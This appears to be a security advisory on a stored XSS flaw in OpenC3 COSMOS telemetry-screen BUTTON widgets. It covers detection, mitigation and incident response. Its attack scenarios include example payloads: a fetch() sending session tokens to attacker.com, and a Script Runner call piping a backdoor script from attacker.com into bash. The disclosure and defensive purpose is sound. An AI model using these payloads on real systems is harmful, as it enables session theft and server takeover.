Vulnerability Overview
What This Vulnerability Is
OpenC3 COSMOS versions through 7.2.0 contain a critical stored cross-site scripting (XSS) vulnerability in the telemetry screen BUTTON widget. The vulnerability stems from unsafe use of JavaScript’s eval() function combined with insufficient input validation on screen content. An attacker with system_set permissions can embed malicious JavaScript code within a BUTTON widget that executes automatically when any user accesses the affected telemetry screen.
Unlike reflected XSS attacks that require social engineering, this stored vulnerability persists in the application database and affects all users who interact with the compromised screen—regardless of their permission level.
Why It Matters to Your Organization
This vulnerability enables cross-user session hijacking and potential server-side code execution. An attacker can:
- Exfiltrate authenticated session tokens from victim users
- Impersonate users with higher privilege levels
- Execute arbitrary server-side code if victims possess Script Runner access
- Modify operational screens without detection
- Compromise the integrity of critical telemetry data and control systems
For organizations operating industrial control systems, SCADA environments, or mission-critical monitoring infrastructure, this vulnerability poses significant operational and security risks.
Severity Classification
| Metric | Rating |
|---|---|
| CVSS Score | 8.8 (High/Critical) |
| Attack Complexity | Low |
| Privileges Required | Low (system_set permission) |
| User Interaction | Required (victim must access screen) |
| Scope | Changed (affects other users’ sessions) |
| Impact | Confidentiality, Integrity, Availability |
Affected Systems and Versions
Confirmed Affected Products
- OpenC3 COSMOS Core (all deployment models)
- OpenC3 COSMOS Enterprise (likely affected; verify with vendor)
- Any custom applications built on OpenC3 COSMOS framework using BUTTON widgets
Version Scope
| Version | Status |
|---|---|
| 7.2.0 | Confirmed Vulnerable |
| 7.1.x and earlier | Presumed Vulnerable (requires confirmation) |
| 5.x–6.x | Likely Vulnerable (legacy versions) |
Note: OpenC3 has not yet released patched versions as of this advisory’s publication date. Check official OpenC3 security advisories for patch availability.
Deployment Contexts at Risk
- On-premises COSMOS installations with multiple users accessing shared telemetry screens
- Cloud-hosted COSMOS environments with federated user access
- Hybrid deployments where screens are shared across organizational boundaries
- Development and staging environments where security controls may be relaxed
Technical Details
Root Cause: Unsafe eval() Implementation
The BUTTON widget in OpenC3 COSMOS telemetry screens uses JavaScript’s eval() function to execute button actions. The vulnerability occurs because:
- No Input Validation: Screen content (including BUTTON widget definitions) is saved to the database without sanitization
- Direct eval() Execution: When a user clicks a BUTTON, the widget’s action property is passed directly to
eval():
// Vulnerable code pattern (simplified)
eval(buttonAction); // buttonAction contains untrusted user input
- Execution Context: The
eval()executes with full access to the user’s authenticated session, including:
localStorage.openc3Token(session authentication token)window.location(current page context)fetch()and XMLHttpRequest APIs- Any global variables and functions
Attack Vector: BUTTON Widget Exploitation
An attacker with system_set permission can create or modify a telemetry screen with a malicious BUTTON widget:
// Example malicious BUTTON action
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
token: localStorage.openc3Token,
username: document.querySelector('[data-user]')?.textContent,
timestamp: new Date().toISOString()
})
});
When any user accesses this screen and clicks the button, their session token is exfiltrated to the attacker’s server. The attack requires:
- Attacker capability:
system_setpermission (ability to create/modify screens) - Victim action: Simply accessing and clicking the malicious button
- No visible indicators: The button can appear legitimate while executing hidden code
Data at Risk: Session Tokens and Authenticated Access
Compromised session tokens grant attackers:
| Access Level | Capabilities |
|---|---|
| Basic User | Read telemetry data, access user-level screens |
| Admin User | Modify system settings, create/delete screens, manage users |
| Script Runner | Execute arbitrary server-side code, access backend systems |
Real-World Attack Scenarios
Scenario 1: Session Token Exfiltration
Attacker Profile: Disgruntled employee with system_set permission
Attack Flow:
- Attacker modifies a frequently-accessed operational dashboard screen
- Adds a BUTTON widget labeled “Refresh Data” with hidden exfiltration code
- When the plant operations manager clicks the button, their session token is sent to attacker’s server
- Attacker uses the token to access the Script Runner and execute commands on the backend database server
Impact: Unauthorized access to production systems, potential data manipulation
Scenario 2: Operational Screen Manipulation
Attacker Profile: External threat actor with compromised low-privilege account
Attack Flow:
- Attacker escalates to
system_setpermission through a separate vulnerability or social engineering - Creates a new telemetry screen that appears identical to the legitimate “System Status” screen
- Embeds JavaScript that modifies displayed values in real-time (e.g., showing false “normal” status for critical alarms)
- Shares the screen with operations team
- When operators view the screen, they see falsified data while the malicious script silently exfiltrates their tokens
Impact: Operational blindness, delayed incident response, potential safety hazards
Scenario 3: Privilege Escalation via Script Runner Access
Attacker Profile: Insider threat with limited permissions
Attack Flow:
- Attacker identifies that a senior engineer with Script Runner access frequently uses a shared telemetry screen
- Modifies a BUTTON widget on that screen to execute server-side code:
// Malicious button action
fetch('/api/script_runner/execute', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
script: 'system("curl https://attacker.com/backdoor.sh | bash")'
})
});
- When the engineer clicks the button, the backdoor is installed on the server
- Attacker gains persistent access to the entire COSMOS infrastructure
Impact: Complete system compromise, persistent backdoor access, data exfiltration
Detection and Monitoring

Identifying Suspicious API Activity
Monitor your COSMOS API logs for these indicators:
Token Exfiltration Patterns:
- Unusual
fetch()orXMLHttpRequestcalls to external domains from the COSMOS frontend - POST requests to non-COSMOS endpoints containing authentication tokens
- Outbound connections to known attacker infrastructure
Detection Query Example (if using centralized logging):
source="cosmos_api_logs"
| search "fetch" OR "XMLHttpRequest"
| where destination_ip NOT IN (internal_cosmos_servers)
| stats count by user, destination_ip, timestamp
Suspicious Script Execution:
- API calls to
/api/script_runner/executefrom unexpected users - Script execution patterns that differ from normal operational baselines
- Execution of system commands (curl, wget, bash) within scripts
Auditing Telemetry Screen Changes
Implement screen content auditing:
- Enable Screen Modification Logging:
- Track all
PUTandPOSTrequests to/api/screens/endpoints - Log the complete screen JSON before and after modifications
- Record the user, timestamp, and IP address of modifications
- Screen Content Analysis:
Review screen definitions for:
- BUTTON widgets with eval()-like patterns
- JavaScript keywords: eval, Function, setTimeout, setInterval
- External fetch() or XMLHttpRequest calls
- Obfuscated or base64-encoded content
- Unusual Unicode or special characters
- Comparison Baseline:
- Maintain a version control system for production screens
- Compare current screens against known-good versions
- Alert on unexpected modifications
Logging and Alert Configuration
Recommended Log Sources:
- Application logs:
/logs/openc3/application.log - API access logs:
/logs/openc3/api_access.log - Database audit logs: Screen modification records
- Network logs: Outbound connections from COSMOS servers
Alert Thresholds:
- Any screen modification by users without documented change requests
- BUTTON widget additions to existing screens
- Multiple failed authentication attempts followed by successful access
- API calls to Script Runner from non-administrative users
- Outbound connections to non-whitelisted external IPs
Immediate Mitigation Actions
Restrict BUTTON Widget Usage
Action 1: Disable BUTTON Widget Execution (Temporary)
If your COSMOS deployment allows configuration modifications:
- Locate the BUTTON widget handler in your COSMOS installation
- Modify the widget to prevent
eval()execution:
// Replace eval() with safe alternative
// Instead of: eval(buttonAction)
// Use: executeCommand(buttonAction) with whitelist validation
- Restart COSMOS services to apply changes
Action 2: Remove Dangerous BUTTON Widgets
Audit all telemetry screens and remove BUTTON widgets that:
- Execute arbitrary JavaScript
- Contain obfuscated code
- Were added by users without documented change requests
- Perform external API calls
Procedure:
1. Export all screens from COSMOS database
2. Search for BUTTON widget definitions
3. Review each BUTTON's action property
4. Delete suspicious widgets
5. Re-import cleaned screens
6. Notify users of changes
Review Shared Screen Permissions
Action 1: Audit system_set Permissions
-- Query to identify users with system_set permission
SELECT username, email, created_date, last_login
FROM users
WHERE permissions LIKE '%system_set%'
ORDER BY last_login DESC;
Action 2: Implement Least Privilege
- Remove
system_setpermission from users who don’t require it - Require documented justification for
system_setaccess - Implement time-limited elevated permissions (e.g., 4-hour windows)
- Require approval workflow for screen modifications
Action 3: Restrict Screen Sharing
- Disable public screen sharing if not operationally required
- Implement screen access controls based on user roles
- Require explicit approval before sharing screens across departments
- Log all screen access attempts
Monitor User Access Patterns
Establish Baseline Behavior:
- Document normal screen access patterns per user role
- Identify peak usage times and frequently accessed screens
- Record typical API call frequencies
Detect Anomalies:
- Alert on access to screens outside normal business hours
- Flag access from unusual geographic locations or IP addresses
- Monitor for rapid sequential screen access (potential reconnaissance)
- Track users accessing screens they don’t normally use
Long-Term Remediation
Replace eval() with Secure Command Interface
OpenC3 should implement a secure command execution model:
Recommended Approach: Whitelist-Based Command Execution
// Secure alternative to eval()
const ALLOWED_COMMANDS = {
'refresh_screen': () => location.reload(),
'open_dialog': (params) => openDialog(params),
'execute_script': (scriptId) => runApprovedScript(scriptId),
'navigate': (url) => navigateTo(url)
};
function executeButtonAction(action) {
const [command, ...args] = action.split('|');
if (ALLOWED_COMMANDS[command]) {
return ALLOWED_COMMANDS[command](...args);
} else {
console.error('Command not allowed:', command);
return false;
}
}
Benefits:
- Eliminates arbitrary code execution
- Provides clear audit trail of allowed operations
- Enables role-based command restrictions
- Simplifies security testing and validation
Implement Content Security Policy Hardening
Current CSP (Likely Vulnerable):
Content-Security-Policy:
default-src 'self';
script-src 'self' 'unsafe-inline' 'unsafe-eval';
Hardened CSP:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{random}';
style-src 'self' 'nonce-{random}';
img-src 'self' data:;
font-src 'self';
connect-src 'self' https://api.openc3.local;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
upgrade-insecure-requests;
block-all-mixed-content;
Implementation Steps:
- Generate random nonce for each page load
- Apply nonce to inline scripts and styles
- Remove
'unsafe-inline'and'unsafe-eval'directives - Test thoroughly in staging environment
- Monitor CSP violation reports
- Gradually enforce policy (start in report-only mode)
Sanitize and Validate Screen Content
Input Validation Framework:
// Validate screen content before saving
function validateScreenContent(screenData) {
const dangerousPatterns = [
/eval\s*\(/gi,
/Function\s*\(/gi,
/setTimeout\s*\(/gi,
/setInterval\s*\(/gi,
/innerHTML\s*=/gi,
/document\.write/gi,
/onclick\s*=/gi,
/onerror\s*=/gi
];
const screenJson = JSON.stringify(screenData);
for (const pattern of dangerousPatterns) {
if (pattern.test(screenJson)) {
throw new Error('Dangerous pattern detected in screen content');
}
}
return true;
}
// Sanitize BUTTON widget actions
function sanitizeButtonAction(action) {
// Only allow predefined command syntax
const commandRegex = /^[A-Z_]+(\|[a-zA-Z0-9_]+)*$/;
if (!commandRegex.test(action)) {
throw new Error('Invalid button action format');
}
return action;
}
Validation Rules:
- Reject screens containing JavaScript keywords in BUTTON actions
- Enforce strict JSON schema validation
- Implement allowlist for permitted BUTTON action types
- Require code review for any screen modifications by
system_setusers
Role-Based JavaScript Execution Controls
Implement Tiered Execution Model:
| User Role | BUTTON Capabilities | Script Runner Access |
|---|---|---|
| Viewer | No execution | None |
| Operator | Predefined commands only | None |
| Administrator | All commands | Limited (requires approval) |
| Developer | Full access | Full access (with audit logging) |
Configuration Example:
# roles.yaml
roles:
viewer:
button_execution: false
allowed_commands: []
operator:
button_execution: true
allowed_commands:
- refresh_screen
- open_dialog
- navigate
administrator:
button_execution: true
allowed_commands: '*'
script_runner: true
requires_approval: true
Implementation Guidance
CSP Configuration Best Practices
Phase 1: Assessment (Week 1)
- Implement CSP in report-only mode
- Monitor violation reports for 1-2 weeks
- Identify legitimate inline scripts and styles
Phase 2: Remediation (Weeks 2-3)
- Move inline scripts to external files
- Generate nonces for remaining inline content
- Update all script and style references
Phase 3: Enforcement (Week 4)
- Switch CSP to enforcement mode
- Monitor for user-reported issues
- Maintain violation logs for security analysis
Phase 4: Hardening (Ongoing)
- Regularly review and tighten CSP rules
- Remove unnecessary directives
- Test new features against CSP before deployment
Input Validation Standards
Validation Checklist:
- [ ] All user-supplied screen content is validated before storage
- [ ] BUTTON widget actions are restricted to approved command syntax
- [ ] Screen JSON schema is enforced (no unexpected properties)
- [ ] File uploads are scanned for malicious content
- [ ] API endpoints validate request parameters
- [ ] Database queries use parameterized statements
- [ ] Error messages don’t expose sensitive information
Testing Requirements:
Test Cases:
1. Valid screen with standard BUTTON widgets → Accept
2. Screen with eval() in BUTTON action → Reject
3. Screen with obfuscated JavaScript → Reject
4. Screen with external fetch() calls → Reject
5. Screen with valid custom commands → Accept
6. Screen with SQL injection attempts → Reject
7. Screen with XSS payloads → Reject
Testing and Validation Procedures
Security Testing Checklist:
- Static Code Analysis:
- Scan COSMOS codebase for
eval()usage - Identify all dynamic code execution patterns
- Review third-party dependencies for vulnerabilities
- Dynamic Testing:
- Attempt to inject XSS payloads into BUTTON widgets
- Test CSP enforcement with violation attempts
- Verify input validation rejects malicious content
- Penetration Testing:
- Simulate attacker with
system_setpermission - Attempt session token exfiltration
- Test privilege escalation scenarios
- Regression Testing:
- Verify legitimate BUTTON functionality still works
- Test screen sharing and access controls
- Validate API endpoints with new restrictions
Frequently Asked Questions
What is stored cross-user XSS and how does it differ from other XSS types?
Stored cross-user XSS occurs when malicious scripts are permanently saved in the application database and executed in other users’ authenticated sessions.
Key Differences:
| XSS Type | Storage | Execution | Victims |
|---|---|---|---|
| Reflected | URL/Request | Immediate | User who clicks link |
| Stored | Database | Persistent | All users accessing resource |
| Stored Cross-User | Database | Persistent | Other users’ sessions |
| DOM-based | Client-side | Immediate | Current user |
In this COSMOS vulnerability, the attacker doesn’t need to trick users into clicking a malicious link. Instead, they embed code in a shared telemetry screen that automatically executes in every user’s authenticated session when they access that screen. This makes it significantly more dangerous than reflected XSS.
Do I need the system_set permission to be exploited by this vulnerability?
Short answer: No, but you need it to create the attack.
Explanation:
- An attacker with
system_setpermission creates the malicious screen - Any user who accesses that screen becomes a victim
- The victim doesn’t need
system_setpermission—they can be a basic operator - The malicious code executes in the victim’s authenticated session with their permission level
This is why the vulnerability is so dangerous: a single attacker with limited privileges can compromise many users with higher privileges.
Can this vulnerability lead to server-side code execution?
Yes, absolutely. This is one of the most critical aspects of the vulnerability.
Attack Chain:
- Attacker embeds XSS in a BUTTON widget
- Administrator or engineer with Script Runner access clicks the button
- Attacker’s code executes in the victim’s session
- Attacker uses the victim’s session to call the Script Runner API
- Arbitrary server-side code executes with the victim’s privileges
Example:
// Malicious BUTTON action
fetch('/api/script_runner/execute', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
script: 'system("whoami > /tmp/pwned.txt")'
})
});
If the victim has Script Runner access, this code executes on the server, potentially compromising the entire COSMOS infrastructure.
How can I protect my account from this vulnerability?
Immediate Actions:
- Avoid untrusted screens: Don’t access telemetry screens from unknown sources or users
- Report suspicious activity: If you notice unexpected BUTTON widgets or strange behavior, report it immediately to your security team
- Don’t click unfamiliar buttons: Be cautious with BUTTON widgets you don’t recognize
- Check screen modifications: Review the modification history of frequently-used screens
Organizational Level:
- Request your organization implement the recommended mitigations
- Advocate for CSP hardening and input validation
- Support the removal of
eval()from BUTTON widgets - Participate in security awareness training
Personal Security:
- Use strong, unique passwords for COSMOS accounts
- Enable multi-factor authentication if available
- Monitor your account activity logs
- Report any unauthorized access attempts
What should I do if I suspect this vulnerability has been exploited in my environment?
Immediate Response (First 1 hour):
- Revoke Potentially Compromised Tokens:
-- Invalidate all active sessions
UPDATE sessions SET revoked = true WHERE created_date > '2024-01-01';
- Preserve Evidence:
- Don’t delete logs or screens
- Take screenshots of suspicious screens
- Export API logs for analysis
- Document timeline of suspicious activity
- Notify Stakeholders:
- Alert your security team immediately
- Inform system administrators
- Contact OpenC3 support
- Prepare incident response team
Short-Term Actions (First 24 hours):
- Audit Recent Changes:
-- Find recently modified screens
SELECT screen_id, modified_by, modified_date, screen_content
FROM screens
WHERE modified_date > NOW() - INTERVAL 7 DAY
ORDER BY modified_date DESC;
- Review API Logs:
- Search for unusual token usage
- Identify API calls to Script Runner
- Look for outbound connections to external IPs
- Check for failed authentication attempts
- Analyze Screen Content:
- Review all BUTTON widget definitions
- Search for JavaScript keywords (eval, fetch, XMLHttpRequest)
- Compare against version control baseline
- Identify suspicious modifications
Long-Term Actions (First week):
- Conduct Forensic Analysis:
- Determine scope of compromise
- Identify affected users and systems
- Assess data exposure
- Determine attacker capabilities
- Implement Remediation:
- Apply patches when available
- Implement CSP hardening
- Remove dangerous BUTTON widgets
- Restrict
system_setpermissions
- Communicate with Users:
- Notify affected users
- Provide guidance on account security
- Explain remediation steps
- Offer support and resources
Is there a patch available for this vulnerability?
Current Status: As of this advisory’s publication, OpenC3 has not released a patched version.
How to Check for Patches:
- Visit the official OpenC3 GitHub repository: https://github.com/OpenC3/cosmos
- Check the Releases page for security advisories
- Review the CHANGELOG for vulnerability fixes
- Subscribe to OpenC3 security mailing list
In the Interim:
- Implement all mitigation steps outlined in this advisory
- Restrict
system_setpermissions to essential personnel - Monitor screens and API activity closely
- Maintain detailed audit logs
- Prepare for rapid patching when available
When Patches Are Released:
- Test patches in a staging environment first
- Plan maintenance window for production deployment
- Verify all functionality after patching
- Confirm vulnerability is resolved through testing
How does this vulnerability relate to broader web application security risks?
This vulnerability exemplifies several critical web security failures that appear across many applications:
1. Unsafe Dynamic Code Execution
- Using
eval()to execute untrusted input - Applies to: JavaScript, Python, PHP, and other languages
- Prevention: Use safe alternatives (whitelists, sandboxing, DSLs)
2. Insufficient Input Validation
- Accepting user input without validation
- Applies to: All web applications
- Prevention: Validate all input, enforce strict schemas
3. Inadequate Content Security Policy
- Allowing
'unsafe-eval'and'unsafe-inline' - Applies to: Most legacy web applications
- Prevention: Implement strict CSP with nonces
4. Cross-User Data Exposure
- One user’s actions affecting other users’ sessions
- Applies to: Multi-user applications
- Prevention: Isolate user contexts, validate permissions
5. Privilege Escalation
- Low-privilege users affecting high-privilege users
- Applies to: Applications with role-based access
- Prevention: Implement least privilege, separate concerns
Lessons for Your Organization:
- Review your own applications for similar patterns
- Implement defense-in-depth security controls
- Prioritize input validation and output encoding
- Use security frameworks and libraries
- Conduct regular security assessments
- Maintain security awareness training
References and Resources
Official OpenC3 Resources:
- OpenC3 COSMOS GitHub: https://github.com/OpenC3/cosmos
- OpenC3 Documentation: https://openc3.com/docs
- OpenC3 Security Advisories: https://github.com/OpenC3/cosmos/security/advisories
Security Standards and Guidelines:
- OWASP Top 10: https://owasp.org/www-project-top-ten/
- OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/CrossSiteScriptingPreventionCheat_Sheet.html
- Content Security Policy (CSP): https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code: https://cwe.mitre.org/data/definitions/95.html
Related Vulnerabilities:
- CWE-79: Improper Neutralization of Input During Web Page Generation
- CWE-94: Improper Control of Generation of Code
- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code
Tools for Detection and Testing:
- OWASP ZAP: https://www.zaproxy.org/
- Burp Suite Community: https://portswigger.net/burp/communitydownload
- npm audit: https://docs.npmjs.com/cli/v8/commands/npm-audit
- Snyk: https://snyk.io/
Document Information
| Field | Value |
|---|---|
| Advisory ID | OPENC3-2024-001 |
| Publication Date | June 25, 2024 |
| Last Updated | June 25, 2024 |
| Severity | Critical |
| Status | Active |
| Affected Versions | 7.2.0 and earlier |
Disclaimer: This advisory is provided for informational purposes. Organizations should conduct their own risk assessments and implement mitigations appropriate for their environment. OpenC3 and the advisory authors are not liable for damages resulting from the use or misuse of this information.
For questions or additional information regarding this advisory, contact your security team or OpenC3 support.